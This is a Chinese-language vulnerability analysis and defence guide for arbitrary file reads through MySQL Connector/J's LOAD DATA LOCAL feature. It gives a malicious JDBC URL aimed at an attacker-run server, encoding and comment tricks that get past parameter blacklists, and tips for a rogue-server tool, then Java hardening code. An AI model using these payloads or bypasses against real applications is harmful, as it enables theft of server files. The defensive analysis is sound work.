JDBC MySQL任意文件读取分析
字数 859 2025-08-25 22:58:20
JDBC MySQL任意文件读取漏洞分析与防护指南
漏洞概述
JDBC MySQL驱动中存在一个任意文件读取漏洞,攻击者可以通过构造特殊的连接参数,利用MySQL的LOAD DATA LOCAL功能读取服务器上的任意文件。该漏洞主要影响MySQL Connector/J(JDBC驱动)的使用场景。
漏洞原理
核心机制
- MySQL文件读取功能:MySQL服务端可以要求客户端读取有可读权限的任何文件(参考MySQL官方文档)
- JDBC连接参数控制:通过以下参数控制文件读取行为:
allowLoadLocalInfileInPath=/- 设置读取的根目录allowLoadLocalInfile=true- 允许本地文件读取allowUrlInLocalInfile=true- 允许URL文件读取maxAllowedPacket=655360- 设置数据包大小
攻击流程
- 攻击者搭建伪造的MySQL服务器
- 诱使目标应用连接该服务器
- 伪造服务器发送包含
fb类型的数据包,要求客户端发送指定文件 - 客户端读取并发送请求的文件内容
漏洞利用
完整Payload
jdbc:mysql://attacker-server:3306/test?
allowLoadLocalInfile=true&
allowUrlInLocalInfile=true&
allowLoadLocalInfileInPath=/&
maxAllowedPacket=655360
版本差异利用
MySQL Connector/J 8.0.x
- 注释符绕过:可使用
#注释掉后续拼接的参数test?allowLoadLocalInfile=true#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false - 参数编码绕过:参数名和值都可URL编码
allowUrlInLocalInfil%65=%74%72%75%65
MySQL Connector/J 5.1.x
- 拼接绕过:使用
&x=拼接后续参数test?allowLoadLocalInfile=true&x= - 值编码:仅参数值可URL编码
allowUrlInLocalInfile=%74%72%75%65
伪造MySQL服务器
推荐使用MySQL_Fake_Server工具搭建恶意服务器。
字符集问题修复:
在flags.py中添加UTF8MB4字符集定义:
45: "utf8mb4", # 添加这行定义
防护方案
代码层面修复
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL, properties);
其他防护措施
- 升级到最新版MySQL Connector/J
- 实施参数黑名单时:
- 必须先URL解码再匹配
- 考虑所有可能的编码变体
- 限制应用服务器的文件系统访问权限